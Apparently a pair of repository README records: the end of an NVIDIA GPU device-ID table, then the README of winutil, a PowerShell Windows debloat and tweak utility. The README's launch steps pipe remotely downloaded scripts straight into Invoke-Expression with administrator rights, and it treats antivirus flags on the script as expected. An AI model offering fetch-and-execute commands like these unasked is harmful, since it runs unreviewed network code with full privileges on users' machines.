| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1A58 1003 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1A58 1006 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1A58 1007 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1E83 3E30 |
| NVIDIA GeForce GTX 1650 | 1F96 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F96 1462 1297 |
| NVIDIA GeForce MX450 | 1F97 |
| NVIDIA GeForce MX450 | 1F98 |
| NVIDIA GeForce GTX 1650 | 1F99 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1025 1479 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1025 147A |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1025 147B |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1025 147C |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 103C 8815 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1043 13B2 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1043 1402 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1043 1902 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1462 12BD |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1462 12C5 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1462 12D2 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 17AA 22DA |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 17AA 3F93 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F99 1E83 3E30 |
| NVIDIA GeForce MX450 | 1F9C |
| NVIDIA GeForce GTX 1650 | 1F9D |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1043 128D |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1043 130D |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1043 149C |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1043 185C |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1043 189C |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1462 12F4 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1462 1302 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1462 131B |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1462 1326 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1462 132A |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F9D 1462 132E |
| NVIDIA GeForce MX550 | 1F9F |
| NVIDIA GeForce MX550 | 1FA0 |
| NVIDIA T1000 | 1FB0 1028 12DB |
| NVIDIA T1000 | 1FB0 103C 12DB |
| NVIDIA T1000 | 1FB0 103C 8A80 |
| NVIDIA T1000 | 1FB0 10DE 12DB |
| NVIDIA DGX Display | 1FB0 10DE 1485 |
| NVIDIA T1000 | 1FB0 17AA 12DB |
| NVIDIA T600 | 1FB1 1028 1488 |
| NVIDIA T600 | 1FB1 103C 1488 |
| NVIDIA T600 | 1FB1 103C 8A80 |
| NVIDIA T600 | 1FB1 10DE 1488 |
| NVIDIA T600 | 1FB1 17AA 1488 |
| NVIDIA T400 | 1FB2 1028 1489 |
| NVIDIA T400 | 1FB2 103C 1489 |
| NVIDIA T400 | 1FB2 103C 8A80 |
| NVIDIA T400 | 1FB2 10DE 1489 |
| NVIDIA T400 | 1FB2 17AA 1489 |
| NVIDIA T600 Laptop GPU | 1FB6 |
| NVIDIA T550 Laptop GPU | 1FB7 |
| Quadro T2000 | 1FB8 |
| Quadro T2000 with Max-Q Design | 1FB8 1028 097E |
| Quadro T2000 with Max-Q Design | 1FB8 103C 8736 |
| Quadro T2000 with Max-Q Design | 1FB8 103C 8738 |
| Quadro T2000 with Max-Q Design | 1FB8 103C 8772 |
| Quadro T2000 with Max-Q Design | 1FB8 103C 8780 |
| Quadro T2000 with Max-Q Design | 1FB8 103C 8782 |
| Quadro T2000 with Max-Q Design | 1FB8 103C 8783 |
| Quadro T2000 with Max-Q Design | 1FB8 103C 8785 |
| Quadro T2000 with Max-Q Design | 1FB8 103C 87F0 |
| Quadro T2000 with Max-Q Design | 1FB8 1462 1281 |
| Quadro T2000 with Max-Q Design | 1FB8 1462 12BD |
| Quadro T2000 with Max-Q Design | 1FB8 17AA 22C0 |
| Quadro T2000 with Max-Q Design | 1FB8 17AA 22C1 |
| Quadro T1000 | 1FB9 |
| Quadro T1000 with Max-Q Design | 1FB9 1025 1479 |
| Quadro T1000 with Max-Q Design | 1FB9 1025 147A |
| Quadro T1000 with Max-Q Design | 1FB9 1025 147B |
| Quadro T1000 with Max-Q Design | 1FB9 1025 147C |
| Quadro T1000 with Max-Q Design | 1FB9 103C 8736 |
| Quadro T1000 with Max-Q Design | 1FB9 103C 8738 |
| Quadro T1000 with Max-Q Design | 1FB9 103C 8772 |
| Quadro T1000 with Max-Q Design | 1FB9 103C 8780 |
| Quadro T1000 with Max-Q Design | 1FB9 103C 8782 |
| Quadro T1000 with Max-Q Design | 1FB9 103C 8783 |
| Quadro T1000 with Max-Q Design | 1FB9 103C 8785 |
| Quadro T1000 with Max-Q Design | 1FB9 103C 87F0 |
| Quadro T1000 with Max-Q Design | 1FB9 1462 12BD |
| Quadro T1000 with Max-Q Design | 1FB9 17AA 22C0 |
| Quadro T1000 with Max-Q Design | 1FB9 17AA 22C1 |
| NVIDIA T600 Laptop GPU | 1FBA |
| NVIDIA T500 | 1FBB |
| NVIDIA T1200 Laptop GPU | 1FBC |
| NVIDIA GeForce GTX 1650 | 1FDD |
| NVIDIA T1000 8GB | 1FF0 1028 1612 |
| NVIDIA T1000 8GB | 1FF0 103C 1612 |
| NVIDIA T1000 8GB | 1FF0 103C 8A80 |
| NVIDIA T1000 8GB | 1FF0 10DE 1612 |
| NVIDIA T1000 8GB | 1FF0 17AA 1612 |
| NVIDIA T400 4GB | 1FF2 1028 1613 |
| NVIDIA T400 4GB | 1FF2 103C 1613 |
| NVIDIA T400E | 1FF2 103C 18FF |
| NVIDIA T400 4GB | 1FF2 103C 8A80 |
| NVIDIA T400 4GB | 1FF2 10DE 1613 |
| NVIDIA T400E | 1FF2 10DE 18FF |
| NVIDIA T400 4GB | 1FF2 17AA 1613 |
| NVIDIA T400E | 1FF2 17AA 18FF |
| Quadro T1000 | 1FF9 |
| NVIDIA A100-SXM4-40GB | 20B0 |
| NVIDIA A100-PG509-200 | 20B0 10DE 1450 |
| NVIDIA A100-SXM4-80GB | 20B2 10DE 1463 |
| NVIDIA A100-SXM4-80GB | 20B2 10DE 147F |
| NVIDIA A100-SXM4-80GB | 20B2 10DE 1622 |
| NVIDIA A100-SXM4-80GB | 20B2 10DE 1623 |
| NVIDIA PG509-210 | 20B2 10DE 1625 |
| NVIDIA A100-SXM-64GB | 20B3 10DE 14A7 |
| NVIDIA A100-SXM-64GB | 20B3 10DE 14A8 |
| NVIDIA A100 80GB PCIe | 20B5 10DE 1533 |
| NVIDIA A100 80GB PCIe | 20B5 10DE 1642 |
| NVIDIA PG506-232 | 20B6 10DE 1492 |
| NVIDIA A30 | 20B7 10DE 1532 |
| NVIDIA A30 | 20B7 10DE 1804 |
| NVIDIA A30 | 20B7 10DE 1852 |
| NVIDIA A800-SXM4-40GB | 20BD 10DE 17F4 |
| NVIDIA A100-PCIE-40GB | 20F1 10DE 145F |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 179B |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 179C |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 179D |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 179E |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 179F |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 17A0 |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 17A1 |
| NVIDIA A800-SXM4-80GB | 20F3 10DE 17A2 |
| NVIDIA A800 80GB PCIe | 20F5 10DE 1799 |
| NVIDIA A800 80GB PCIe LC | 20F5 10DE 179A |
| NVIDIA A800 40GB Active | 20F6 1028 180A |
| NVIDIA A800 40GB Active | 20F6 103C 180A |
| NVIDIA A800 40GB Active | 20F6 10DE 180A |
| NVIDIA A800 40GB Active | 20F6 17AA 180A |
| NVIDIA AX800 | 20FD 10DE 17F8 |
| NVIDIA GeForce GTX 1660 Ti | 2182 |
| NVIDIA GeForce GTX 1660 | 2184 |
| NVIDIA GeForce GTX 1650 SUPER | 2187 |
| NVIDIA GeForce GTX 1650 | 2188 |
| NVIDIA GeForce GTX 1660 Ti | 2191 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1028 0949 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 85FB |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 85FE |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 86D6 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 8741 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 8744 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 878D |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 87AF |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 103C 87B3 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1043 171F |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1043 17EF |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1043 18D1 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1414 0032 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1462 128A |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1462 128B |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1462 12C6 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1462 12CB |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1462 12CC |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 1462 12D9 |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 17AA 380C |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 17AA 381D |
| NVIDIA GeForce GTX 1660 Ti with Max-Q Design | 2191 17AA 381E |
| NVIDIA GeForce GTX 1650 Ti | 2192 |
| NVIDIA GeForce GTX 1660 SUPER | 21C4 |
| NVIDIA GeForce GTX 1660 Ti | 21D1 |
| NVIDIA GeForce RTX 3090 Ti | 2203 |
| NVIDIA GeForce RTX 3090 | 2204 |
| NVIDIA GeForce RTX 3080 | 2206 |
| NVIDIA GeForce RTX 3070 Ti | 2207 |
| NVIDIA GeForce RTX 3080 Ti | 2208 |
| NVIDIA GeForce RTX 3080 | 220A |
| NVIDIA CMP 90HX | 220D |
| NVIDIA GeForce RTX 3080 | 2216 |
| NVIDIA RTX A6000 | 2230 1028 1459 |
| NVIDIA RTX A6000 | 2230 103C 1459 |
| NVIDIA RTX A6000 | 2230 10DE 1459 |
| NVIDIA RTX A6000 | 2230 17AA 1459 |
| NVIDIA RTX A5000 | 2231 1028 147E |
| NVIDIA RTX A5000 | 2231 103C 147E |
| NVIDIA RTX A5000 | 2231 10DE 147E |
| NVIDIA RTX A5000 | 2231 17AA 147E |
| NVIDIA RTX A4500 | 2232 1028 163C |
| NVIDIA RTX A4500 | 2232 103C 163C |
| NVIDIA RTX A4500 | 2232 10DE 163C |
| NVIDIA RTX A4500 | 2232 17AA 163C |
| NVIDIA RTX A5500 | 2233 1028 165A |
| NVIDIA RTX A5500 | 2233 103C 165A |
| NVIDIA RTX A5500 | 2233 10DE 165A |
| NVIDIA RTX A5500 | 2233 17AA 165A |
| NVIDIA A40 | 2235 10DE 145A |
| NVIDIA A10 | 2236 10DE 1482 |
| NVIDIA A10G | 2237 10DE 152F |
| NVIDIA A10M | 2238 10DE 1677 |
| NVIDIA H100 NVL | 2321 10DE 1839 |
| NVIDIA H800 PCIe | 2322 10DE 17A4 |
| NVIDIA H800 | 2324 10DE 17A6 |
| NVIDIA H800 | 2324 10DE 17A8 |
| NVIDIA H20 | 2329 10DE 198B |
| NVIDIA H20 | 2329 10DE 198C |
| NVIDIA H100 80GB HBM3 | 2330 10DE 16C0 |
| NVIDIA H100 80GB HBM3 | 2330 10DE 16C1 |
| NVIDIA H100 PCIe | 2331 10DE 1626 |
| NVIDIA H200 | 2335 10DE 18BE |
| NVIDIA H200 | 2335 10DE 18BF |
| NVIDIA H100 | 2339 10DE 17FC |
| NVIDIA H800 NVL | 233A 10DE 183A |
| NVIDIA GH200 120GB | 2342 10DE 16EB |
| NVIDIA GH200 120GB | 2342 10DE 1805 |
| NVIDIA GH200 480GB | 2342 10DE 1809 |
| NVIDIA GeForce RTX 3060 Ti | 2414 |
| NVIDIA GeForce RTX 3080 Ti Laptop GPU | 2420 |
| NVIDIA RTX A5500 Laptop GPU | 2438 |
| NVIDIA GeForce RTX 3080 Ti Laptop GPU | 2460 |
| NVIDIA GeForce RTX 3070 Ti | 2482 |
| NVIDIA GeForce RTX 3070 | 2484 |
| NVIDIA GeForce RTX 3060 Ti | 2486 |
| NVIDIA GeForce RTX 3060 | 2487 |
| NVIDIA GeForce RTX 3070 | 2488 |
| NVIDIA GeForce RTX 3060 Ti | 2489 |
| NVIDIA CMP 70HX | 248A |
| NVIDIA GeForce RTX 3080 Laptop GPU | 249C |
| NVIDIA GeForce RTX 3060 Laptop GPU | 249C 1D05 1194 |
| NVIDIA GeForce RTX 3070 Laptop GPU | 249D |
| NVIDIA GeForce RTX 3070 Ti Laptop GPU | 24A0 |
| NVIDIA GeForce RTX 3060 Laptop GPU | 24A0 1D05 1192 |
| NVIDIA RTX A4000 | 24B0 1028 14AD |
| NVIDIA RTX A4000 | 24B0 103C 14AD |
| NVIDIA RTX A4000 | 24B0 10DE 14AD |
| NVIDIA RTX A4000 | 24B0 17AA 14AD |
| NVIDIA RTX A4000H | 24B1 10DE 1658 |
| NVIDIA RTX A5000 Laptop GPU | 24B6 |
| NVIDIA RTX A4000 Laptop GPU | 24B7 |
| NVIDIA RTX A3000 Laptop GPU | 24B8 |
| NVIDIA RTX A3000 12GB Laptop GPU | 24B9 |
| NVIDIA RTX A4500 Laptop GPU | 24BA |
| NVIDIA RTX A3000 12GB Laptop GPU | 24BB |
| NVIDIA GeForce RTX 3060 | 24C7 |
| NVIDIA GeForce RTX 3060 Ti | 24C9 |
| NVIDIA GeForce RTX 3080 Laptop GPU | 24DC |
| NVIDIA GeForce RTX 3070 Laptop GPU | 24DD |
| NVIDIA GeForce RTX 3070 Ti Laptop GPU | 24E0 |
| NVIDIA RTX A4500 Embedded GPU | 24FA |
| NVIDIA GeForce RTX 3060 | 2503 |
| NVIDIA GeForce RTX 3060 | 2504 |
| NVIDIA GeForce RTX 3050 | 2507 |
| NVIDIA GeForce RTX 3050 OEM | 2508 |
| NVIDIA GeForce RTX 3060 Laptop GPU | 2520 |
| NVIDIA GeForce RTX 3060 Laptop GPU | 2521 |
| NVIDIA GeForce RTX 3050 Ti Laptop GPU | 2523 |
| NVIDIA RTX A2000 | 2531 1028 151D |
| NVIDIA RTX A2000 | 2531 103C 151D |
| NVIDIA RTX A2000 | 2531 10DE 151D |
| NVIDIA RTX A2000 | 2531 17AA 151D |
| NVIDIA GeForce RTX 3060 | 2544 |
| NVIDIA GeForce RTX 3060 Laptop GPU | 2560 |
| NVIDIA GeForce RTX 3050 Ti Laptop GPU | 2563 |
| NVIDIA RTX A2000 12GB | 2571 1028 1611 |
| NVIDIA RTX A2000 12GB | 2571 103C 1611 |
| NVIDIA RTX A2000 12GB | 2571 10DE 1611 |
| NVIDIA RTX A2000 12GB | 2571 17AA 1611 |
| NVIDIA GeForce RTX 3050 | 2582 |
| NVIDIA GeForce RTX 3050 | 2584 |
| NVIDIA GeForce RTX 3050 Ti Laptop GPU | 25A0 |
| NVIDIA GeForce RTX 3050Ti Laptop GPU | 25A0 103C 8928 |
| NVIDIA GeForce RTX 3050Ti Laptop GPU | 25A0 103C 89F9 |
| NVIDIA GeForce RTX 3060 Laptop GPU | 25A0 1D05 1196 |
| NVIDIA GeForce RTX 3050 Laptop GPU | 25A2 |
| NVIDIA GeForce RTX 3050 Ti Laptop GPU | 25A2 1028 0BAF |
| NVIDIA GeForce RTX 3060 Laptop GPU | 25A2 1D05 1195 |
| NVIDIA GeForce RTX 3050 Laptop GPU | 25A5 |
| NVIDIA GeForce MX570 | 25A6 |
| NVIDIA GeForce RTX 2050 | 25A7 |
| NVIDIA GeForce RTX 2050 | 25A9 |
| NVIDIA GeForce MX570 A | 25AA |
| NVIDIA GeForce RTX 3050 4GB Laptop GPU | 25AB |
| NVIDIA GeForce RTX 3050 6GB Laptop GPU | 25AC |
| NVIDIA GeForce RTX 2050 | 25AD |
| NVIDIA RTX A1000 | 25B0 1028 1878 |
| NVIDIA RTX A1000 | 25B0 103C 1878 |
| NVIDIA RTX A1000 | 25B0 10DE 1878 |
| NVIDIA RTX A1000 | 25B0 17AA 1878 |
| NVIDIA RTX A400 | 25B2 1028 1879 |
| NVIDIA RTX A400 | 25B2 103C 1879 |
| NVIDIA RTX A400 | 25B2 10DE 1879 |
| NVIDIA RTX A400 | 25B2 17AA 1879 |
| NVIDIA A16 | 25B6 10DE 14A9 |
| NVIDIA A2 | 25B6 10DE 157E |
| NVIDIA RTX A2000 Laptop GPU | 25B8 |
| NVIDIA RTX A1000 Laptop GPU | 25B9 |
| NVIDIA RTX A2000 8GB Laptop GPU | 25BA |
| NVIDIA RTX A500 Laptop GPU | 25BB |
| NVIDIA RTX A1000 6GB Laptop GPU | 25BC |
| NVIDIA RTX A500 Laptop GPU | 25BD |
| NVIDIA GeForce RTX 3050 Ti Laptop GPU | 25E0 |
| NVIDIA GeForce RTX 3050 Laptop GPU | 25E2 |
| NVIDIA GeForce RTX 3050 Laptop GPU | 25E5 |
| NVIDIA GeForce RTX 3050 6GB Laptop GPU | 25EC |
| NVIDIA GeForce RTX 2050 | 25ED |
| NVIDIA RTX A1000 Embedded GPU | 25F9 |
| NVIDIA RTX A2000 Embedded GPU | 25FA |
| NVIDIA RTX A500 Embedded GPU | 25FB |
| NVIDIA GeForce RTX 4090 | 2684 |
| NVIDIA GeForce RTX 4090 D | 2685 |
| NVIDIA RTX 6000 Ada Generation | 26B1 1028 16A1 |
| NVIDIA RTX 6000 Ada Generation | 26B1 103C 16A1 |
| NVIDIA RTX 6000 Ada Generation | 26B1 10DE 16A1 |
| NVIDIA RTX 6000 Ada Generation | 26B1 17AA 16A1 |
| NVIDIA RTX 5000 Ada Generation | 26B2 1028 17FA |
| NVIDIA RTX 5000 Ada Generation | 26B2 103C 17FA |
| NVIDIA RTX 5000 Ada Generation | 26B2 10DE 17FA |
| NVIDIA RTX 5000 Ada Generation | 26B2 17AA 17FA |
| NVIDIA RTX 5880 Ada Generation | 26B3 1028 1934 |
| NVIDIA RTX 5880 Ada Generation | 26B3 103C 1934 |
| NVIDIA RTX 5880 Ada Generation | 26B3 10DE 1934 |
| NVIDIA RTX 5880 Ada Generation | 26B3 17AA 1934 |
| NVIDIA L40 | 26B5 10DE 169D |
| NVIDIA L40 | 26B5 10DE 17DA |
| NVIDIA L40S | 26B9 10DE 1851 |
| NVIDIA L40S | 26B9 10DE 18CF |
| NVIDIA L20 | 26BA 10DE 1957 |
| NVIDIA L20 | 26BA 10DE 1990 |
| NVIDIA GeForce RTX 4080 SUPER | 2702 |
| NVIDIA GeForce RTX 4080 | 2704 |
| NVIDIA GeForce RTX 4070 Ti SUPER | 2705 |
| NVIDIA GeForce RTX 4070 | 2709 |
| NVIDIA GeForce RTX 4090 Laptop GPU | 2717 |
| NVIDIA RTX 5000 Ada Generation Laptop GPU | 2730 |
| NVIDIA GeForce RTX 4090 Laptop GPU | 2757 |
| NVIDIA RTX 5000 Ada Generation Embedded GPU | 2770 |
| NVIDIA GeForce RTX 4070 Ti | 2782 |
| NVIDIA GeForce RTX 4070 SUPER | 2783 |
| NVIDIA GeForce RTX 4070 | 2786 |
| NVIDIA GeForce RTX 4060 Ti | 2788 |
| NVIDIA GeForce RTX 4080 Laptop GPU | 27A0 |
| NVIDIA RTX 4000 SFF Ada Generation | 27B0 1028 16FA |
| NVIDIA RTX 4000 SFF Ada Generation | 27B0 103C 16FA |
| NVIDIA RTX 4000 SFF Ada Generation | 27B0 10DE 16FA |
| NVIDIA RTX 4000 SFF Ada Generation | 27B0 17AA 16FA |
| NVIDIA RTX 4500 Ada Generation | 27B1 1028 180C |
| NVIDIA RTX 4500 Ada Generation | 27B1 103C 180C |
| NVIDIA RTX 4500 Ada Generation | 27B1 10DE 180C |
| NVIDIA RTX 4500 Ada Generation | 27B1 17AA 180C |
| NVIDIA RTX 4000 Ada Generation | 27B2 1028 181B |
| NVIDIA RTX 4000 Ada Generation | 27B2 103C 181B |
| NVIDIA RTX 4000 Ada Generation | 27B2 10DE 181B |
| NVIDIA RTX 4000 Ada Generation | 27B2 17AA 181B |
| NVIDIA L2 | 27B6 10DE 1933 |
| NVIDIA L4 | 27B8 10DE 16CA |
| NVIDIA L4 | 27B8 10DE 16EE |
| NVIDIA RTX 4000 Ada Generation Laptop GPU | 27BA |
| NVIDIA RTX 3500 Ada Generation Laptop GPU | 27BB |
| NVIDIA GeForce RTX 4080 Laptop GPU | 27E0 |
| NVIDIA RTX 3500 Ada Generation Embedded GPU | 27FB |
| NVIDIA GeForce RTX 4060 Ti | 2803 |
| NVIDIA GeForce RTX 4060 Ti | 2805 |
| NVIDIA GeForce RTX 4060 | 2808 |
| NVIDIA GeForce RTX 4070 Laptop GPU | 2820 |
| NVIDIA RTX 3000 Ada Generation Laptop GPU | 2838 |
| NVIDIA GeForce RTX 4070 Laptop GPU | 2860 |
| NVIDIA GeForce RTX 4060 | 2882 |
| NVIDIA GeForce RTX 4060 Laptop GPU | 28A0 |
| NVIDIA GeForce RTX 4050 Laptop GPU | 28A1 |
| NVIDIA RTX 2000 Ada Generation | 28B0 1028 1870 |
| NVIDIA RTX 2000 Ada Generation | 28B0 103C 1870 |
| NVIDIA RTX 2000E Ada Generation | 28B0 103C 1871 |
| NVIDIA RTX 2000 Ada Generation | 28B0 10DE 1870 |
| NVIDIA RTX 2000E Ada Generation | 28B0 10DE 1871 |
| NVIDIA RTX 2000 Ada Generation | 28B0 17AA 1870 |
| NVIDIA RTX 2000E Ada Generation | 28B0 17AA 1871 |
| NVIDIA RTX 2000 Ada Generation Laptop GPU | 28B8 |
| NVIDIA RTX 1000 Ada Generation Laptop GPU | 28B9 |
| NVIDIA RTX 500 Ada Generation Laptop GPU | 28BA |
| NVIDIA RTX 500 Ada Generation Laptop GPU | 28BB |
| NVIDIA GeForce RTX 4060 Laptop GPU | 28E0 |
| NVIDIA GeForce RTX 4050 Laptop GPU | 28E1 |
| NVIDIA RTX 2000 Ada Generation Embedded GPU | 28F8 |
| NVIDIA Linux open GPU kernel module source | null | 96 | 30 | 144 | 59 | 126 | 15 | 0 |
ChrisTitusTech/winutil | # Chris Titus Tech's Windows Utility
This utility is a compilation of Windows tasks I perform on each Windows system I use. It is meant to streamline *installs*, debloat with *tweaks*, troubleshoot with *config*, and fix Windows *updates*. I am extremely picky about any contributions to keep this project clean and efficient.
## Usage
Winutil must be run in Admin mode because it performs system-wide tweaks. To achieve this, open PowerShell or Windows Terminal as an administrator. Here are a few ways to do it:
1. **Right-Click Method:**
- Right-click on the start menu.
- Choose "Windows PowerShell (Admin)" (for Windows 10) or "Terminal (Admin)" (for Windows 11).
2. **Search and Launch Method:**
- Press the Windows key.
- Type "PowerShell" or "Terminal" (for Windows 11).
- Press `Ctrl + Shift + Enter` to launch it with administrator privileges.
### Launch Command
#### Simple way
```
irm https://christitus.com/win | iex
```
Courtesy of the issue raised at: [#144](/../../issues/144)
or by executing:
```
iwr -useb https://christitus.com/win | iex
```
if for some reason this site is not reachable from your country please try running it directly from github (replace `RELEASE_TAG` with current release that you are interested in, for example `v2024.06.05`)
```
irm "https://github.com/ChrisTitusTech/winutil/releases/download/RELEASE_TAG/winutil.ps1" | iex
```
#### Automation
Some features are avaliable through automation. This allows you to save your config file pass it to Winutil walk away and come back to a finished system. Here is how you can set it up currently with Winutil >24.01.15
1. On the Install Tab, click "Get Installed", this will get all installed apps **supported by Winutil** on the system
2. Click on the Settings cog in the upper right corner and chose Export, chose file file and location, this will export the setting file.
3. Copy this file to a USB or somewhere you can use after Windows installation.
4. Use Microwin tab to create a custom Windows image.
5. Install the Windows image.
6. In the new Windows, Open PowerShell in the admin mode and run command to automatically apply tweaks and install apps from the config file.
```
iex "& { $(irm christitus.com/win) } -Config [path-to-your-config] -Run"
```
7. Have a cup of coffee! Come back when it's done.
## Issues:
- If you are unable to resolve christitus.com/win and are getting errors launching the tool, it might be due to India blocking GitHub's content domain and preventing downloads. You may use a VPN or change your DNS provider to Google/Cloudflare/etc.
Source: <https://timesofindia.indiatimes.com/gadgets-news/github-content-domain-blocked-for-these-indian-users-reports/articleshow/96687992.cms>
- Windows Security (formerly Defender) and other anti-virus software are known to block the script. The script gets flagged due to the fact that it requires administrator privileges & makes drastic system changes.
- If you are having TLS 1.2 issues, or are having trouble resolving `christitus.com/win` then run with the following command:
```
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/ChrisTitusTech/winutil/main/winutil.ps1')
```
If you are still having issues try changing your DNS provider to 1.1.1.1 || 1.0.0.1 or 8.8.8.8 || 8.8.4.4
## Support
- To morally and mentally support the project, make sure to leave a โญ๏ธ!
- EXE Wrapper for $10 @ https://www.cttstore.com/windows-toolbox
## Tutorial
[](https://www.youtube.com/watch?v=6UQZ5oQg8XA)
## Overview
- Install
- Install Selection: Organize programs by category and facilitate installation by enabling users to select programs and initiate the installation process with a single click.
- Upgrade All: Upgrade all existing programs to their latest versions, ensuring users have the most up-to-date and feature-rich software.
- Uninstall Selection: Effortlessly uninstall selected programs, providing users with a streamlined way to remove unwanted software from their system.
- Get Installed: Retrieve a comprehensive list of installed programs on the system, offering users visibility into the software currently installed on their computer.
- Import / Export: Enable users to import or export the selection list of programs, allowing them to save their preferred program configurations or share them with others. This feature promotes convenience and flexibility in managing program selections across different systems.
- Tweaks
- Recommended Selection: Provides pre-defined templates tailored for desktop, laptop, and minimal configurations, allowing users to select recommended settings and optimizations specific to their system type.
- Essential Tweaks: Offers a collection of essential tweaks aimed at improving system performance, privacy, and resource utilization. These tweaks include creating a system restore point, disabling telemetry, Wi-Fi Sense, setting services to manual, disabling location tracking, and HomeGroup, among others.
- Advanced Tweaks: Encompasses a range of various advanced power user tweaks to further optimize the system. These tweaks include removing OneDrive and Edge, disabling User Account Control (UAC), notification panel, among others.
- Toggles: Adds easy to use, one click shortcuts for toggling dark mode, NumLock on startup, file extensions, sticky keys, among others.
- Additional Tweaks: Introduces various other tweaks such as enabling dark mode, changing DNS settings, adding an Ultimate Performance mode, and creating shortcuts for WinUtil tools. These tweaks provide users with additional customization options to tailor their system to their preferences.
- Config
- Features: Allows users to easily install various essential components and features to enhance their Windows experience. These features include installing .NET Frameworks, enabling Hyper-V virtualization, enabling legacy media support for Windows Media Player and DirectPlay, enabling NFS (Network File System) for network file sharing, and enabling Windows Subsystem for Linux (WSL) for running Linux applications on Windows.
- Fixes: Provides a range of helpful fixes to address common issues and improve system stability. This includes setting up autologon for seamless login experiences, resetting Windows updates to resolve update-related problems, performing a system corruption scan to detect and repair corrupted files, and resetting network settings to troubleshoot network connectivity issues.
- Legacy Windows Panels: Includes access to legacy Windows panels from Windows 7, allowing users to access familiar and powerful tools. These panels include Control Panel for managing system settings, Network Connections for configuring network adapters and connections, Power Panel for adjusting power and sleep settings, Sound Settings for managing audio devices and settings, System Properties for viewing and modifying system information, and User Accounts for managing user profiles and account settings.
- Updates:
- Default (Out of Box) Settings: Provides the default settings that come with Windows for updates.
- Security (Recommended) Settings: Offers recommended settings, including a slight delay of feature updates by 2 years and installation of security updates 4 days after release.
- Disable All Updates (Not Recommended!): Allows users to disable all Windows updates, but it's not recommended due to potential security risks.
Video and Written Article walkthrough @ <https://christitus.com/windows-tool/>
## Issues
If you encounter any challenges or problems with the script, I kindly request that you submit them via the "Issues" tab on the GitHub repository. By filling out the provided template, you can provide specific details about the issue, allowing me to promptly address any bugs or consider feature requests.
## Contribute Code
Pull Requests are now handled directly on the MAIN branch. This was done since we can now select specific releases to launch via releases in GitHub.
If doing a code change and you can submit a PR to main branch, but I am very selective about these. Do not use a code formatter, massive amounts of line changes, and make multiple feature changes. EACH FEATURE CHANGE SHOULD BE IT'S OWN Pull Request!
When creating pull requests, it is essential to thoroughly document all changes made. This includes documenting any additions made to the tweaks section and ensuring that corresponding undo measures are in place to remove the newly added tweaks if necessary. Failure to adhere to this format may result in denial of the pull request. Additionally, comprehensive documentation is required for all code changes. Any code lacking sufficient documentation may also be denied.
By following these guidelines, we can maintain a high standard of quality and ensure that the codebase remains organized and well-documented.
NOTE: When creating a function please include "WPF" or "WinUtil" in the name so that it can be loaded into the runspace.
## Thanks to all Contributors
Thanks a lot for spending your time helping Winutil grow. Thanks a lot! Keep rocking ๐ป.
[](https://github.com/ChrisTitusTech/winutil/graphs/contributors)
## GitHub Stats
